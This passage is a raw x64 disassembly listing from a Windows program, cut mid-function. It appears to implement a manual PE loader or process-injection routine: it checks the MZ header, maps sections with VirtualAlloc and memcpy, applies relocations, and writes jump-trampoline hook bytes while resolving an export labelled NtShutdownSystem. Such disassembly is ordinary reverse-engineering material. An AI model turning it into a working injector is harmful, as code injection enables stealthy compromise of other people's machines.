je 0x140579bd7
cmp qword [rbp + 0x248], rdi
je 0x140579bd7
lea rcx, [rbp + 0x1d8]
call fcn.1405c2e80
mov eax, 0x5a4d
cmp word [0x140639d20], ax
jne 0x14057954c
movsxd rax, dword [0x140639d5c]
lea rcx, [0x140639d20]
add rax, 8
add rax, rcx
jmp 0x140579551
mov eax, 4
mov r8d, dword [rax]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x1d8]
call fcn.1405c4560
test al, al
jne 0x1405795d2
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.14057bfc8
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x14057959f
mov rcx, rbx
call fcn.1405776c4
nop
mov rcx, rbx
call fcn.140575374
nop
lea rcx, [rbp + 0x238]
call fcn.140575374
nop
lea rcx, [rbp + 0x340]
call fcn.140575374
lea rcx, [rbp + 0x320]
call fcn.140575374
jmp 0x140578317
mov r14, r13
mov rax, qword [rbp + 0x5f8]
lea r15, [rax + r13]
cmp r13, r15
jae 0x1405798f4
mov r13d, 4
movabs rsi, 0x7ffffffffffffffd
mov rbx, qword [0x14069ee30]
mov eax, dword [r12 + r13]
cmp dword [0x14069e84c], eax
jle 0x140579651
lea rcx, [0x14069e84c]
call fcn.140626068
cmp dword [0x14069e84c], 0xffffffff
jne 0x140579651
lea rcx, [0x140639be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14069e908], rax
lea rcx, [0x14069e84c]
call fcn.140626008
mov eax, dword [r12 + r13]
cmp dword [0x14069e8f8], eax
jle 0x14057969c
lea rcx, [0x14069e8f8]
call fcn.140626068
cmp dword [0x14069e8f8], 0xffffffff
jne 0x14057969c
mov edx, 2
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14062a0c0]
call fcn.1406263f4
lea rcx, [0x14069e8f8]
call fcn.140626008
lea rcx, [0x14069e850]
call fcn.1405752c8
mov dword [rbp + 0x5e0], 0x25ff
mov word [rbp + 0x5e4], di
mov qword [rbp + 0x5e6], rbx
mov rcx, qword [0x14069e8a8]
mov ebx, reloc.WS2_32.dll_ntohl
mov r8d, ebx
lea rdx, [rbp + 0x220]
call fcn.140577dc4
mov rcx, qword [0x14069e8a8]
mov r8d, ebx
lea rdx, [rbp + 0x5e0]
call fcn.140577f50
mov rax, qword [0x14069e908]
mov rcx, r14
call rax
mov rbx, rax
mov rcx, qword [0x14069e8a8]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x220]
call fcn.140577f50
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rbx
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x1d8]
call fcn.1405c3594
test al, al
jne 0x1405799d2
xor eax, eax
mov qword [rbp + 0x1f0], rax
mov rbx, qword [0x14069ee38]
mov eax, dword [r12 + r13]
cmp dword [0x14069e84c], eax
jle 0x1405797ab
lea rcx, [0x14069e84c]
call fcn.140626068
cmp dword [0x14069e84c], 0xffffffff
jne 0x1405797ab
lea rcx, [0x140639be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14069e908], rax
lea rcx, [0x14069e84c]
call fcn.140626008
mov eax, dword [r12 + r13]
cmp dword [0x14069e8f8], eax
jle 0x1405797f6
lea rcx, [0x14069e8f8]
call fcn.140626068
cmp dword [0x14069e8f8], 0xffffffff
jne 0x1405797f6
mov edx, 2
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14062a0c0]
call fcn.1406263f4
lea rcx, [0x14069e8f8]
call fcn.140626008
lea rcx, [0x14069e850]
call fcn.1405752c8
mov dword [rbp + 0x5d0], 0x25ff
mov word [rbp + 0x5d4], di
mov qword [rbp + 0x5d6], rbx
mov rcx, qword [0x14069e8a8]
mov ebx, reloc.WS2_32.dll_ntohl
mov r8d, ebx
lea rdx, [rbp + 0x4c0]
call fcn.140577dc4
mov rcx, qword [0x14069e8a8]
mov r8d, ebx
lea rdx, [rbp + 0x5d0]
call fcn.140577f50
mov rax, qword [0x14069e908]
mov rcx, r14
call rax
mov rbx, rax
mov rcx, qword [0x14069e8a8]
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, [rbp + 0x4c0]
call fcn.140577f50
lea rcx, [0x14069e850]
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov r9d, 8
mov r8, rbx
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x1d8]
call fcn.1405c3594
neg al
sbb rcx, rcx
and rcx, qword [rbp + 0x2c8]
and rcx, rsi
or rcx, 2
mov qword [rbp + 0x2c0], rcx
lea r8, [rbp + 0x2c0]
mov r9d, 8
mov rdx, rbx
lea rcx, [rbp + 0x1d8]
call fcn.1405c3c68
add r14, 0x1000
cmp r14, r15
jb 0x1405795f9
mov rsi, qword [rbp + 0x5c0]
mov r13, qword [rbp + 8]
mov rax, qword [rbp + 0x5f8]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov r8d, dword [rsi + 0x54]
mov rdx, qword [0x14069e9b0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
movzx ebx, word [rsi + 0x14]
add rbx, 0x28
mov r15d, edi
cmp di, word [rsi + 6]
jae 0x14057995d
add rbx, rsi
mov ecx, dword [rbx - 4]
add rcx, r14
mov r8d, dword [rbx]
mov edx, dword [rbx + 4]
add rdx, qword [0x14069e9b0]
call sub.VCRUNTIME140.dll_memcpy
inc r15d
lea rbx, [rbx + 0x28]
movzx eax, word [rsi + 6]
cmp r15d, eax
jl 0x140579935
mov rbx, r13
sub rbx, qword [rsi + 0x30]
mov rdx, r14
lea rcx, [rbp + 0x4c0]
call fcn.14057e690
mov rdx, rbx
mov rcx, rax
call fcn.14057e3d8
mov rdx, r14
lea rcx, [rbp + 0x4c0]
call fcn.14057e7bc
mov rcx, rax
call fcn.14057e438
test al, al
jne 0x140579a02
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.14057bfc8
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1405799cd
mov rcx, rbx
call fcn.1405776c4
nop
jmp 0x14057959f
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x1f0], rax
test al, al
jns 0x140579753
and rax, rsi
or rax, 2
mov qword [rbp + 0x1f0], rax
lea r8, [rbp + 0x1f0]
jmp 0x1405798bd
mov r8d, dword [rsi + 0x54]
xor edx, edx
mov rcx, r14
call fcn.14062736c
mov r9, qword [rbp + 0x5f8]
mov r8, r14
mov rdx, r13
lea rcx, [rbp + 0x1d8]
call fcn.1405c3c68
mov ebx, dword [rsi + 0x28]
add rbx, r13
mov esi, dword [rsi + 0x50]
mov r15d, 4
mov eax, dword [r15 + r12]
cmp dword [0x14069ee04], eax
jle 0x140579a89
lea rcx, [0x14069ee04]
call fcn.140626068
cmp dword [0x14069ee04], 0xffffffff
jne 0x140579a89
lea rcx, [0x140639be8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14069ee50], rax
lea rcx, [0x14069ee04]
call fcn.140626008
lea r14, [0x14069ee60]
mov eax, dword [r15 + r12]
cmp dword [0x14069edfc], eax
jle 0x140579ad7
lea rcx, [0x14069edfc]
call fcn.140626068
cmp dword [0x14069edfc], 0xffffffff
jne 0x140579ad7
mov edx, 2
mov rcx, r14
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x14062a0b0]
call fcn.1406263f4
lea rcx, [0x14069edfc]
call fcn.140626008
mov rcx, r14
call fcn.1405752c8
mov dword [rbp + 0x5c0], 0x25ff
mov word [rbp + 0x5c4], di
mov qword [rbp + 0x5c6], rbx
mov rcx, qword [0x14069e8a8]
mov ebx, reloc.WS2_32.dll_ntohl
mov r8d, ebx
lea rdx, [rbp + 0x5f8]
call fcn.140577dc4
mov rcx, qword [0x14069e8a8]
mov r8d, ebx
lea rdx, [rbp + 0x5c0]
call fcn.140577f50
mov rdx, rsi
mov rcx, r13
call qword [0x14069ee50]
mov rcx, qword [0x14069e8a8]
mov r8d, ebx
lea rdx, [rbp + 0x5f8]
call fcn.140577f50
mov rcx, r14
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x280]
call fcn.14057bfc8
mov rbx, rax
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140579b8d
mov rcx, rbx
call fcn.1405776c4
test al, al
mov sil, 1
jne 0x140579b90
mov sil, dil
mov rcx, rbx
call fcn.140575374
test sil, sil
je 0x140579ba0
mov dil, 1
lea rcx, [rbp + 0x238]
call fcn.140575374
nop
lea rcx, [rbp + 0x340]
call fcn.140575374
lea rcx, [rbp + 0x320]
call fcn.140575374
nop
lea rcx, [rbp + 0x2a0]
call fcn.140575374
mov al, dil
jmp 0x140579bed
mov ecx, r15d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
lea rcx, [rbp + 0x2a0]
call fcn.140575374
mov rcx, qword [rbp + 0x608]
xor rcx, rsp
call fcn.140625ec0
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret